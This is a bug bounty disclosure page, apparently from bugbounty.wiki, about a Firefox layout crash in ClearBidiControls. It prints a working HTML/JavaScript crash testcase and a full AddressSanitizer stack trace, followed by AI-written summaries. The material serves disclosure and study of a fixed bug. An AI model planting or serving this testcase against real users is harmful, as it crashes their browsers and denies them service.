SEGV in ClearBidiControls
A crafted HTML page causes a segmentation fault in Firefox's ClearBidiControls function during layout. An attacker could crash the browser, leading to a denial of service.
- Fixed in 14 days
- Paid in 18 days
- Disclosed after 14 days
The following testcase crashes the latest ASAN build of Firefox. The testcase seems to depend on the browser window size. Try resizing the window if it does not crash on the first attempt.
<script> function start() { o22=document.createElement('frame'); o38=document.createElement('frame'); o47=document.createElement('frame'); o65=document.createElement('style'); o22.style.writingMode='sideways-lr'; o74=document.createTextNode('{}:first-line{'); o65.appendChild(o74); o83=document.createElement('frame'); o47.animate([{unicodeBidi: 'embed',}],100); o100=document.documentElement; document.documentElement.prepend(unescape('%u0627'),undefined); o83.prepend("undefined","undefined",unescape("undefined%u8A08%u7B97%u3057%u30E5%u30FC%u30BF%u30FC%u8A08%u7B97%u3057%u30E5%u30FC%u30BF%u30FC%u8A08%u7B97%u3057%u30E5%u30FC%u30BF%u30FC")); document.write('<html><body></body></html>'); document.documentElement.appendChild(o22); o22.appendChild(o38); o38.appendChild(o47); document.documentElement.appendChild(o65); o47.appendChild(o83); o22.appendChild(o100); } </script> <body onload="start()"></body>ASAN:DEADLYSIGNAL
==7498==ERROR: AddressSanitizer: SEGV on unknown address 0x7ffe2c663d6c (pc 0x7faa7b918d7a bp 0x7ffc2c663c90 sp 0x7ffc2c6638e0 T0) #0 0x7faa7b918d79 in ClearBidiControls /home/worker/workspace/build/src/layout/base/nsBidiPresUtils.cpp:313:21 #1 0x7faa7b918d79 in ResolveParagraphWithinBlock /home/worker/workspace/build/src/layout/base/nsBidiPresUtils.cpp:1226 #2 0x7faa7b918d79 in nsBidiPresUtils::TraverseFrames(nsBlockFrame*, nsBlockInFlowLineIterator*, nsIFrame*, BidiParagraphData*) /home/worker/workspace/build/src/layout/base/nsBidiPresUtils.cpp:1192 #3 0x7faa7b917566 in nsBidiPresUtils::Resolve(nsBlockFrame*) /home/worker/workspace/build/src/layout/base/nsBidiPresUtils.cpp:697:5 #4 0x7faa7bac2e0b in ResolveBidi /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:7452:10 #5 0x7faa7bac2e0b in nsBlockFrame::GetMinISize(nsRenderingContext*) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:736 #6 0x7faa7bb3cbd0 in ShrinkWidthToFit /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:5529:22 #7 0x7faa7bb3cbd0 in nsContainerFrame::ComputeAutoSize(nsRenderingContext*, mozilla::WritingMode, mozilla::LogicalSize const&, int, mozilla::LogicalSize const&, mozilla::LogicalSize const&, mozilla::LogicalSize const&, nsIFrame::ComputeSizeFlags) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:942 #8 0x7faa7bb4408e in nsFrame::ComputeSize(nsRenderingContext*, mozilla::WritingMode, mozilla::LogicalSize const&, int, mozilla::LogicalSize const&, mozilla::LogicalSize const&, mozilla::LogicalSize const&, nsIFrame::ComputeSizeFlags) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:4785:24 #9 0x7faa7ba8456e in mozilla::ReflowInput::InitConstraints(nsPresContext*, mozilla::LogicalSize const&, nsMargin const*, nsMargin const*, nsIAtom*) /home/worker/workspace/build/src/layout/generic/ReflowInput.cpp:2451:9 #10 0x7faa7ba7af04 in mozilla::ReflowInput::Init(nsPresContext*, mozilla::LogicalSize const*, nsMargin const*, nsMargin const*) /home/worker/workspace/build/src/layout/generic/ReflowInput.cpp:399:3 #11 0x7faa7ba43759 in emplace<nsPresContext &, const mozilla::ReflowInput &, nsIFrame &, mozilla::LogicalSize &> /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/Maybe.h:461:29 #12 0x7faa7ba43759 in nsLineLayout::ReflowFrame(nsIFrame, unsigned int&, mozilla::ReflowOutput, bool&) /home/worker/workspace/build/src/layout/generic/nsLineLayout.cpp:879 #13 0x7faa7baee855 in nsBlockFrame::ReflowInlineFrame(mozilla::BlockReflowInput&, nsLineLayout&, nsLineList_iterator, nsIFrame*, LineReflowStatus*) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:4151:3 #14 0x7faa7baed528 in nsBlockFrame::DoReflowInlineFrames(mozilla::BlockReflowInput&, nsLineLayout&, nsLineList_iterator, nsFlowAreaRect&, int&, nsFloatManager::SavedState*, bool*, LineReflowStatus*, bool) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:3952:5 #15 0x7faa7bae3e4c in nsBlockFrame::ReflowInlineFrames(mozilla::BlockReflowInput&, nsLineList_iterator, bool*) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:3826:9 #16 0x7faa7bad3223 in ReflowLine /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:2832:5 #17 0x7faa7bad3223 in nsBlockFrame::ReflowDirtyLines(mozilla::BlockReflowInput&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:2368 #18 0x7faa7bac98e2 in nsBlockFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, unsigned int&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:1237:3 #19 0x7faa7bb2ccc0 in nsContainerFrame::ReflowChild(nsIFrame*, nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, mozilla::WritingMode const&, mozilla::LogicalPoint const&, nsSize const&, unsigned int, unsigned int&, nsOverflowContinuationTracker*) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:1028:3 #20 0x7faa7bb2b6a2 in nsCanvasFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, unsigned int&) /home/worker/workspace/build/src/layout/generic/nsCanvasFrame.cpp:711:5 #21 0x7faa7bb2ccc0 in nsContainerFrame::ReflowChild(nsIFrame*, nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, mozilla::WritingMode const&, mozilla::LogicalPoint const&, nsSize const&, unsigned int, unsigned int&, nsOverflowContinuationTracker*) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:1028:3 #22 0x7faa7bbd02ea in nsHTMLScrollFrame::ReflowScrolledFrame(mozilla::ScrollReflowInput*, bool, bool, mozilla::ReflowOutput*, bool) /home/worker/workspace/build/src/layout/generic/nsGfxScrollFrame.cpp:552:3 #23 0x7faa7bbd1760 in nsHTMLScrollFrame::ReflowContents(mozilla::ScrollReflowInput*, mozilla::ReflowOutput const&) /home/worker/workspace/build/src/layout/generic/nsGfxScrollFrame.cpp:664:3 #24 0x7faa7bbd4f8b in nsHTMLScrollFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, unsigned int&) /home/worker/workspace/build/src/layout/generic/nsGfxScrollFrame.cpp:1039:3 #25 0x7faa7bb3d3e2 in nsContainerFrame::ReflowChild(nsIFrame*, nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, int, int, unsigned int, unsigned int&, nsOverflowContinuationTracker*) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:1072:3 #26 0x7faa7baaf3a9 in mozilla::ViewportFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, unsigned int&) /home/worker/workspace/build/src/layout/generic/ViewportFrame.cpp:326:7 #27 0x7faa7b8b0c3c in mozilla::PresShell::DoReflow(nsIFrame*, bool) /home/worker/workspace/build/src/layout/base/PresShell.cpp:9258:3 #28 0x7faa7b8c45c4 in mozilla::PresShell::ProcessReflowCommands(bool) /home/worker/workspace/build/src/layout/base/PresShell.cpp:9431:24 #29 0x7faa7b8c3464 in mozilla::PresShell::FlushPendingNotifications(mozilla::ChangesToFlush) /home/worker/workspace/build/src/layout/base/PresShell.cpp:4233:11 #30 0x7faa7b835144 in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1915:9 #31 0x7faa7b843495 in mozilla::RefreshDriverTimer::TickRefreshDrivers(long, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:305:7 #32 0x7faa7b843164 in mozilla::RefreshDriverTimer::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:327:5 #33 0x7faa7b8457d3 in RunRefreshDrivers /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:722:5 #34 0x7faa7b8457d3 in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::TickRefreshDriver(mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:631 #35 0x7faa7b8451b4 in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::NotifyVsync(mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:544:9 #36 0x7faa7c0bac14 in mozilla::layout::VsyncChild::RecvNotify(mozilla::TimeStamp const&) /home/worker/workspace/build/src/layout/ipc/VsyncChild.cpp:64:5 #37 0x7faa761e1718 in mozilla::layout::PVsyncChild::OnMessageReceived(IPC::Message const&) /home/worker/workspace/build/src/obj-firefox/ipc/ipdl/PVsyncChild.cpp:160:20 #38 0x7faa75e6cba3 in mozilla::ipc::PBackgroundChild::OnMessageReceived(IPC::Message const&) /home/worker/workspace/build/src/obj-firefox/ipc/ipdl/PBackgroundChild.cpp:1425:16 #39 0x7faa75db3bc0 in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1795:14 #40 0x7faa75db00fc in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1730:17 #41 0x7faa75db2734 in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1603:5 #42 0x7faa75db2d7e in mozilla::ipc::MessageChannel::MessageTask::Run() /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1636:5 #43 0x7faa74fa9f59 in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1264:7 #44 0x7faa74fa6850 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:389:10 #45 0x7faa75dbbac4 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:124:5 #46 0x7faa75d2cc38 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:3 #47 0x7faa75d2cc38 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231 #48 0x7faa75d2cc38 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211 #49 0x7faa7b1644ff in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3 #50 0x7faa7e96a997 in XRE_RunAppShell() /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:852:12 #51 0x7faa75d2cc38 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:3 #52 0x7faa75d2cc38 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231 #53 0x7faa75d2cc38 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211 #54 0x7faa7e96a47c in XRE_InitChildProcess(int, char**, XREChildData const*) /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:684:7 #55 0x4e00c6 in content_process_main /home/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:64:19 #56 0x4e00c6 in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:284 #57 0x7faa9034c82f in __libc_start_main /build/glibc-t3gR2i/glibc-2.23/csu/../csu/libc-start.c:291 #58 0x41c2e8 in _start (/home/nils/fuzzer3/firefox/firefox+0x41c2e8)
AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/worker/workspace/build/src/layout/base/nsBidiPresUtils.cpp:313:21 in ClearBidiControls ==7498==ABORTING
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely a memory access error in ClearBidiControls when processing certain bidirectional text and frame structures.
What the attacker needed
Victim visits a malicious page
How it was found
- Create a page with the provided script that builds a complex frame structure and manipulates text direction.
- Load the page in Firefox; it may depend on window size, so resize if needed.
- The browser crashes with a segmentation fault.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This report shows a web page that makes Firefox crash. The crash happens in a part of the browser that handles text direction (like for languages written right-to-left). A malicious website could use this to crash your browser, but it doesn't let the attacker steal data or run code.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.